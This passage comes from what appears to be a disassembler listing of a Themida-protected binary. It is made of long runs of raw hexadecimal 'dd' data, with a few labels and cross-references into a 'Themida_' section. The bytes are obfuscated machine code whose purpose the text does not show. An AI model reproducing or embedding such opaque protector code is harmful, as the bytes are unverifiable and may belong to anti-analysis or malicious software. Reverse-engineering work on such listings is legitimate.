4245C89h, 4244481h, 18h, 0F9C35343h, 0F5913D68h dd 178F0Fh, 12E90000h, 6000000h, 0E364D103h, 22A91906h dd 0B3F3DDA4h, 0A16C4490h, 0FFF88B6Ch, 18BF99B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 168276C7h, 95FF50B3h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 45C35242h, 0A4174325h, 0AE9F0h dd 0CB2E0000h, 6F73470Ah, 8DC41582h, 24CD9D8Bh, 66960615h dd 0F50D98Bh, 289h, 96F98B00h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 26C35747h, 26E97AB6h, 3A57B103h dd 0FFDA8B66h, 18BF99B5h, 0A59D2906h, 0FF061517h, 15072995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0FDA033B9h, 0AC4235C4h, 899D8B8Eh, 8306150Dh dd 150065BDh, 840F0006h, 21h, 5E9h, 79731900h, 0E996B9BAh dd 8, 0BB864767h, 29C3B808h, 96FB8B50h, 0BECF8166h, 99B5FFD2h dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 5C90C351h, 8B66A497h, 3995FFF8h dd 6A061504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E85CC356h, 0BF99B5FFh, 9D8B0618h dd 6152F2Dh, 0DCD95FFh, 5E90615h, 0B3000000h, 986F29DFh dd 285DBD83h, 0F020615h, 9F84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 75C9C66Dh dd 6E20D09Eh, 8BD98BA0h, 15284985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F77D1F4h dd 666030BDh, 0E8754DBBh, 12h, 0A505031Ah, 0ACFCB935h dd 0F4A34180h, 2E3603DDh, 0BD8B34C6h, 61526D1h, 9D8B615Ah dd 61522D9h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 8D02C353h, 4CF3C8B2h dd 1B05D1B2h, 23F585C7h, 615h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1869D6C3h dd 22F7E7ECh, 0AE9B2h, 37050000h, 0FCE9707Ah, 49E01FCh dd 0FFF361E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 6AC18B08h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9367C352h dd 0DBD0BFF8h, 8B0F6ABEh, 0 dd 8DFA8B66h, 15279D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0C32F6977h, 9D8B3316h dd 6150815h, 50D4DB80h, 9E85060h, 69000000h, 3A747FEh dd 74702F00h, 89615A5Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 6A5C23C3h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 16407C46h, 352B51E2h, 10E8h, 0F23BEF00h, 8AB59AFEh dd 0AF95FCD0h, 8356FA2Ch, 399529D6h, 5F061509h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0CC9BFC3h, 5584719h, 6810F2Ch, 89000000h, 1534798Dh dd 4B858D06h, 0F9061A09h, 9799D89h, 0C0830615h, 0CF816605h dd 50908A0Fh, 0F5B5252h, 0E3D3BF31h, 585A0864h, 0FE8B6650h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 810FCD6Dh, 2, 6ADE8Ah, 6AF88B66h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 22CA5ED4h, 9E887h db 2 dup(0) word_5CA2B6 dw 5980h ; DATA XREF: Themida_:0057C918o dd 57C9A8B4h, 66781F02h, 5BCD61BBh, 267995FFh, 9D890615h dd 6152EE9h, 9C158D8Dh, 0BD8B0618h, 61533D9h, 0DE9h, 4281B00h dd 95C641ADh, 0E6C1BAF1h, 0D1FFA420h, 0B5BD83F5h, 106152Dh dd 7C850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 69EC9AC3h, 6AFD0DC6h, 57006A02h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 4DBD8B46h, 50061502h, 0AE95250h, 9D000000h, 9B7EB3A1h dd 146F55F4h, 0F310F50h, 38Dh, 0FA8B6600h, 489585Ah, 8B0F24h dd 0FF000000h, 151D4D95h, 3810F06h, 0F000000h, 0A6E9DBB7h db 0Ch, 2 dup(0) byte_5CA37F db 0E8h ; DATA XREF: Themida_:0057A114o dd 0 dd 55ED815Dh, 0F061A09h, 6AFEBFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0B40530C3h, 8949ED74h dd 1506E59Dh, 0F9858D06h, 6A061888h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3CE5C350h dd 0CF711286h, 81112B5Dh, 765CFAD3h, 8C0F501Fh, 2, 489FE8Bh dd 0FD9D2924h, 6406152Eh, 35FFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F2447C3h dd 389h, 0B3C78000h, 258964h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 96C3C357h dd 48A0Fh, 0BB660000h, 9D33FD57h, 61528E1h, 153585FFh dd 0B5890615h, 61502BDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF2EBEC3h, 150009B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 2B6CE3AAh, 1526F99Dh, 0BD95FF06h, 0E9061508h dd 0FEh, 0B0DF8Bh, 2ABD9D89h, 70E60615h, 2459BD31h, 71E40615h dd 0F613CF5h, 0E183h, 8E800h, 6EA80000h, 0A94B5258h, 8F0F7E5Ch dd 6, 10D1BD29h, 0F5F0615h, 8166C8B6h, 8B1D3FEFh, 150AE1BDh dd 6BA06h, 820F0000h, 6, 1558D89h, 0C18B0615h, 14B59589h dd 0E8C10615h, 2DBD2B04h, 66061510h, 0BD8BE2F7h, 6151735h dd 0C4B7C82Bh, 0E9F9D18Bh, 82h, 699BD8Bh, 858B0615h, 47554C50h dd 13899D8Bh, 0C0830615h, 1BD8907h, 8306150Eh, 0B50900C0h dd 6150519h, 0D6E8BF66h, 830FD03Bh, 10h, 0CE24F8BBh, 48E929h dd 9D310000h, 6152AEDh, 0FFFF8D8Bh, 0E183FFFFh, 33840F01h dd 29000000h, 15212185h, 0FFA58306h, 0FEFFFFFFh, 89FA8B66h dd 554C5095h, 0FE847h, 58200000h, 37918F84h, 97424EE6h dd 760CD07Ah, 95F380A9h, 0E95Fh, 0B58D0000h, 619818Ch dd 232D8D29h, 6A0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 32C35242h, 0E9C3563Ah, 13h, 5539FFAFh dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0FF39585Bh, 152E2195h dd 0CBB9F806h, 6000000Eh, 0E9F28B66h, 14h, 46D7CF0Bh, 43BE92ACh dd 0C2C37BA6h, 0FD764888h, 5217714Ah, 0FCE18361h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D8C35343h, 7D6EA7ECh dd 80F33C60h, 0D58D898Eh, 66061527h, 0A6DFDB81h, 0C02BF8FCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D4C35040h dd 0BAE9FA21h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h dd 46FC4B57h, 0EE9h, 0E66AE700h, 2280375Bh, 0D1195ED5h dd 0ADAECBA2h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0DC87C353h, 0E8068C2Eh, 10h dword_5CA6E4 dd 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 26259D89h ; DATA XREF: Themida_:0057AE44o dd 895F0615h, 151415BDh, 880D06h, 8E90000h, 0DC000000h dd 5D1D503Ah, 8B3D2121h, 15272195h, 0C381F906h, 5AAA6D0h dd 4CD8D8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 73EB5AC3h, 9B9510B3h, 8B500BA5h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E6C35646h, 800FAA05h dd 6, 2275BD23h, 9D230615h, 61512FDh, 6AD9B70Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0E853C353h, 71AA30D6h, 0F83EAF77h, 18A9BD83h, 0F000615h dd 7884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0CD9D095Bh, 0B806152Dh, 0 dd 8DF8F98Bh, 154F9E8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 6AE1FFE9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 47DC351h dd 0CF593D60h, 81E8ADB5h, 28E01DCBh, 15BD837Fh, 61511h dd 3A0840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8337ACC3h, 151115BDh, 840F0106h dd 391h, 8353F380h, 151115BDh, 860F0306h, 34Bh, 6A60F5h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0F529C5C3h, 9CF791CFh, 58D0F97h, 66000000h, 0EB5D781h dd 1D19B589h, 8C660615h, 41BD89D9h, 80061523h, 6A04E1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0E69E93C3h, 287372B7h, 0E99FD14Ch, 12h, 9415D25Ch, 98594C10h dd 0F4B03EEEh, 0DD37AE68h, 8D09A154h, 61507C1h, 840FC90Ah dd 0E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0D3C35040h, 2379B589h, 8B600615h, 1525D585h, 858B6106h dd 615249Dh, 0B58533F8h, 0E9061519h, 7, 0B0B28557h, 90C6DBB8h dd 48C0F51h, 66000000h, 5B445ABBh, 6A9050h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 5F134AC3h dd 0C3AAAA7Bh, 7EBB66A3h, 999D8B62h, 6A06151Dh, 0E343BF00h dd 0BD8B289Eh, 61505D5h, 73743868h, 7BF6623h, 2434815Dh dd 236C77C7h, 1605BD0Bh, 0BD8B0615h, 615167Dh, 0DAD95FFh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0DF2A97C3h, 0BF998589h, 9D890618h, 6150FD5h dd 16DE9h, 0DBD8B00h, 3106152Fh, 151A558Dh, 91858B06h dd 6A0618BFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 81A1C350h, 1CC49CCBh, 0EDB5892Fh dd 0C706152Ah, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 925B631Dh, 8B62E663h dd 18BF95B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0D4DEF8FCh, 0D3E7183Ah, 30A99D8Bh dd 858B0615h, 6150C45h, 59D8Bh, 6890615h, 11E9h, 39BF5700h dd 3567A95h, 520782E1h, 0D1AEDA10h, 0A9BB43E9h, 8B4DA0B9h dd 15249D85h, 0D8DB8006h, 81044689h, 0A26590DBh, 0EEB3502Ch dd 66243489h, 0B5FFD98Bh, 618BF91h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 55C35040h, 807468FEh, 14E9A3C7h dd 54000000h, 2A6A8CBh, 450A9198h, 2ACC21EEh, 0D371CE26h dd 8135D3FAh, 838B2404h, 9D8B5C57h, 6150C49h, 0BF99858Dh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B6B10C3h, 150CD1BDh, 0C159BB06h, 5090433Ah dd 5E9h, 5F20000h, 6690CBFEh, 95FFF98Bh, 6150DADh, 2399BD89h dd 8B610615h, 15169D9Dh, 68E0F06h, 8B000000h, 150D4D9Dh dd 1585C706h, 3061511h, 8B000000h, 1516BDBDh, 99BD8306h dd 618BFh, 45840Fh, 11E80000h, 73000000h, 0DB80C6F2h, 43C9CCCEh dd 0DF36B25Bh, 24064432h, 0AE8h, 543C3300h, 0AC41D346h dd 66B8E717h, 7380CB81h, 2FE95F5Bh, 8B000000h, 152F959Dh dd 0BD896006h, 6150655h, 10419589h, 50610615h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD89C08Bh dd 6153011h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 52C35646h, 17FEB9C7h, 852947F9h, 6152869h, 1115BD83h dd 0F030615h, 37885h, 0D19D2B00h, 83061503h, 18BF99BDh dd 840F0006h, 365h, 9819D89h, 0B5FF0615h, 618BF99h, 0CF5BD29h dd 95FF0615h, 61510E1h, 0B58BDA8Bh, 618BF8Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 34C35141h, 5CD2CD33h dd 106C7D9h, 66000100h, 0F668D381h, 24348950h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 11C35343h, 0B5FF78D2h dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 8CC35747h, 3124C717h, 0FFC833C1h, 1506A195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0BF94AA25h, 9195E6DCh, 0C281609Dh, 145E4D40h, 0C6DBD29h dd 8B610615h, 18BF8DB5h, 12E906h, 4AC70000h, 648DF453h dd 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 59858Bh, 0BD8B0615h dd 6150321h, 0C48689h, 8D890000h, 6151889h, 2721958Bh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 6C6360C3h, 34459501h, 810F0615h, 6, 2F5D9D31h dd 0C2830615h, 95896004h, 6150AB9h, 0A0B7BE66h, 28F0F61h dd 8B000000h, 205089F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 4C35545h, 58858D90h, 6A0618D4h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0F120C352h, 7B3A095Fh, 1605BD23h, 86890615h, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h, 40A6C600h dd 248E0B90h, 6A006ACEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 265BC357h, 9D330DDDh dd 61521B5h, 24A9BD33h, 0B5FF0615h, 618BF99h, 0FF57D380h dd 151D4D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8B9604E8h, 810F50FEh, 4, 0EBFFBB66h dd 5E996h, 7BCE0000h, 0FF01AC6Bh, 18BF99B5h, 6890F06h dd 81000000h, 213BFEDFh, 2995FF74h, 0BF061507h, 72FF4884h dd 65BD83h, 0F000615h, 4D84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6EF1214Dh dd 10E8h, 5FB74900h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh dd 658529EBh, 5F061502h, 8B525050h, 66310FF8h, 585AF98Bh dd 66243489h, 0B5FFF88Bh, 618BF99h, 61F68160h, 667ABB73h dd 615DCDBBh, 43995FFh, 0B5890615h, 6151031h, 0BF99B5FFh dd 2FB70618h, 0DCD95FFh, 95010615h, 61519CDh, 285DBD83h dd 0F020615h, 4284h, 0E8E1B300h, 5, 1C870E0Ah, 8B5FF8D4h dd 15284985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 58C6FA3Ch, 171D12BAh, 2E599509h dd 0C60615h, 0C75B5700h, 1523F585h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 5812372Dh, 66002B66h, 0A78EC781h, 0F48EE9FCh, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 11B410C3h, 958944FCh, 6150191h dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 56EA1EC3h, 89A302F3h, 1519CD85h, 9D858D06h dd 6A061527h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 9C17C352h, 421558B7h, 12E9h, 888EE700h dd 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh, 90B54477h, 0F18B6660h dd 12E8h, 0AAA30F00h, 0A0637402h, 8D71404Dh, 4D0CDD1Fh dd 51EB8474h, 50615B5Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0FC345675h, 22C19589h dd 81660615h, 6A7638DBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0F006A92h, 285h, 8D5B5300h dd 1A17D085h, 5BD8906h, 83061530h, 9D8905C0h, 6152D01h dd 6E890h, 0E48A0000h, 0C9D4831Ch, 0DE8505Fh, 0EB000000h dd 0D3AF8279h, 33CC5898h, 0AA07CA65h, 7868BF66h, 6A905Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 2114CEC3h, 0FC7BFBAh, 6A561Ah, 321BD8Bh, 0BD8B0615h dd 6153379h, 0BD89006Ah, 6152F95h, 7995FFF8h, 57061526h dd 8D5FDE8Bh, 189C158Dh, 0C5BD0106h, 8B061524h, 1509E5BDh dd 83D1FF06h, 152DB5BDh, 850F0106h, 87h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 6C7455D3h dd 0E27F3F1h, 0BF66026Ah, 0E990CF27h, 13h, 0B1EFC155h dd 895680EBh, 1638278Dh, 615AEACAh, 505033E9h, 0E0BB6651h dd 6A905F9Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0FDCAC355h, 0F601876h, 480h, 0BDBE6600h dd 6661FCC0h, 0FFEAA2BFh, 151D4D95h, 4D9D3306h, 0E9061506h dd 0F39h, 0E8h, 0ED815D00h, 61A17DAh, 0AE9h, 7D9C6500h dd 0AD733D6h, 0E9A11AABh, 0Eh, 0AA5E34A8h, 0E05F92BFh dd 9C7C2291h, 6A1CEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 386D14C3h, 0BA835ABCh, 34399589h dd 858D0615h, 61888F9h, 6BFFBF66h, 50525090h, 0FF98B52h dd 5A05B331h, 57310F58h, 5A5F5F50h, 0BB665058h, 6A908058h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BDE9C357h, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 3869C357h, 0A253B878h, 0F883645h, 148Eh, 0FE900h, 199A0000h dd 0DB60B255h, 1228296Eh, 2871F593h, 2589648Ah, 0 dd 22199589h, 85FF0615h, 6151535h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 1FC35343h, 0FF6A26E6h, 291DBD8Bh dd 0B5FF0615h, 6152CBDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 1EC35141h, 0D781912Dh, 10A7DC28h, 8BD95FFh dd 53E90615h, 0B0000001h, 0CE900h, 0F5630000h, 2948FC1h dd 0CA961A2Eh, 70E60B6Ah, 9299D8Bh, 0E4F50615h, 0DB816671h dd 613CB1DCh, 128830Fh, 31600000h, 150AC5B5h, 0FE9EBF06h dd 0E8610876h, 12h, 0F0BBCE90h, 42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh dd 0BB664FE3h, 0F5BE2E6h, 8501C8B6h, 61514C5h, 6BAh, 0B5296000h dd 6152309h, 2351BD29h, 8B610615h, 0AE52BBC1h, 0E8C16B28h dd 0C5BD8904h, 6606151Ch, 0C82BE2F7h, 269D9D8Bh, 0D18B0615h dd 5BEF8166h, 0BCE973h, 95890000h, 61526FDh, 0CE9h, 3E37F900h dd 56E9CADFh, 0F6A22A30h, 49858B05h, 8344004Eh, 0D5BF07C0h dd 831D3CA7h, 0AE900C0h, 0EE000000h, 645A7F51h, 0EDE3E1F2h dd 0FD03BCEh, 1883h, 81665600h, 5FC92BCBh, 71E9h, 68C0F00h dd 8B000000h, 151C95BDh, 0FF8D8B06h, 66FFFFFFh, 947AE381h dd 0F01E183h, 5184h, 9E800h, 1B9F0000h, 0F63540F1h, 0F50331F6h dd 0FFA5835Bh, 0FEFFFFFFh, 12E8h, 6FB3C000h, 3589AE42h dd 0B4923275h, 0CC46F76Bh, 0E84C80C1h, 6, 0C091AE9Ah, 94BB5A67h dd 5F3840AEh, 4995895Bh, 8944004Eh, 152D918Dh, 0E906h dd 0B58D0000h, 6199057h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0ACC35545h, 411E529Dh, 32A1BAD1h, 68A0F26h dd 8B000000h, 1525B5BDh, 80006A06h, 95FF6ACFh, 6152E21h dd 81E6F381h, 0D2B957DBh, 2900000Fh, 1502A99Dh, 0EF816606h dd 0E18394BEh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0CB81667Bh, 6AFC31D9h dd 3E85300h dword_5CB524 dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h ; DATA XREF: Themida_:0057C190o dd 0BB47C353h, 0E88C2D1Bh, 0Eh dword_5CB544 dd 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 96BFC1D5h, 5B3B8800h ; DATA XREF: Themida_:00579E30o dd 0B8h, 14E800h, 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h dd 0C402DAECh, 8B662600h, 0D22B5FF8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 58C35646h, 4D7893E7h, 0F90EA08h dd 588h, 9BB7BF00h, 33AD6DE3h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0AD5CE6C3h, 898B4569h, 1504019Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 40300CAAh dd 3127FC3Ah, 0E3814362h, 41AFAF19h, 880Dh, 0A5BD2300h dd 8B06151Ch, 15272195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 1B568236h, 252F5B3Eh dd 4CD8D8Bh, 800F0615h, 2, 8B50FE8Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 8343BB66h, 8C98589h, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8FC35C3h, 0DE8B3F23h, 18A9BD83h, 0F000615h, 6684h, 659D8B00h dd 0B8061518h, 0 dd 38D0F51h, 80000000h, 8D5FC5EFh, 154F9E8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0CF9952C6h, 0FFD88BF5h, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 96B96FF0h dd 719529EFh, 83061525h, 151115BDh, 840F0006h, 574h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C4C35747h, 51675D33h dd 0E8B8BC36h, 7, 697C6595h, 89132C76h, 152DA195h, 0F3805F06h dd 15BD83CAh, 1061511h, 549840Fh, 81660000h, 836C31F7h dd 151115BDh, 860F0306h, 501h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 22C35747h, 0DCFAF2FFh, 4C18C913h dd 27A19D8Bh, 89560615h, 15072585h, 6A605F06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0C508C350h, 6052CBD6h, 0FE9FCh, 83D20000h, 0A7B08772h dd 633D792h, 0D8DB3AE9h, 9D8B6168h, 61533BDh, 6AD98C66h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0ABC5C355h, 2654BB66h, 6A04E180h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 4E24C353h, 0E9C1E610h, 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h dd 0DA7AC146h, 0FAB70F80h, 840FC90Ah, 1AAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h, 0E0BA5623h dd 858B9C62h, 615249Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0DBC35646h, 0D353B79Dh, 89AA5F7Ch, 1524B195h dd 4BBF6606h, 8B6660D5h, 4840FDFh, 66000000h, 6173E0BEh dd 19B58533h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 9D8973C3h, 615170Dh, 58E0F50h, 0BB000000h dd 36B3A024h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D798C352h, 0E3569A99h dd 6A006A78h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6FA4C356h, 9D89566Dh, 61526A5h dd 615C685Bh, 0BF66D96Fh, 4811D19h, 0AFA2A324h, 52006A26h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B64462B8h, 110BF38h, 52BF6651h, 95FF5F2Ch, 6150DADh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EEC35646h dd 645A7F51h, 66E3E1F2h, 89AF23BBh, 18BF9985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0FD6AACBEh, 0D3A5B3D6h, 28759D8Bh, 0EBE90615h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 806FC355h, 4BDC922Ah, 33BD9D8Bh, 0BB660615h dd 858B499Fh, 618BF91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 21C35343h, 2882C85Bh, 8BC67AA5h, 1518C5BDh dd 1800C706h, 89000000h, 15115DB5h, 8BD88B06h, 18BF95B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 556FBC5Bh, 0EC6D80A8h, 0CA9BD33h, 858B0615h dd 6150C45h, 9C99D8Bh, 6890615h, 10E9h, 4574CC00h, 601B50A8h dd 5E35B8EAh, 0E6EBBF79h, 0B98D313Ah, 8B061509h, 15249D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 446895Eh, 8EBF6696h, 0FE8505Eh, 2B000000h dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 0CE93FE3h, 3D000000h dd 0F1DB99C6h, 8ED1CD00h, 5FFEDFD2h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F7D619DDh dd 0D19D89CBh, 8106152Dh, 0FBE5DDE3h, 0C9B52929h, 0FF06150Dh dd 18BF91B5h, 0D9BD8B06h, 68061522h, 0E05D67C3h, 81F98B66h dd 9C3C2404h, 0B70F1FC1h, 99858DFFh, 520618BFh, 0D5EF8166h dd 0E8905F37h, 0Fh, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h dd 665D9A96h, 505FD88Bh, 7F77BB66h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DF7060E1h dd 9CA288CCh, 39D5C381h, 95890162h, 6152799h, 0DAD95FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0EE4B19C3h, 411CC24Fh, 22F19509h, 6A610615h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 129BC353h, 0FBB70F74h, 111585C7h, 30615h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 71AD74C3h, 9B6688F0h, 0BD83A81Ch, 618BF99h dd 62840F00h, 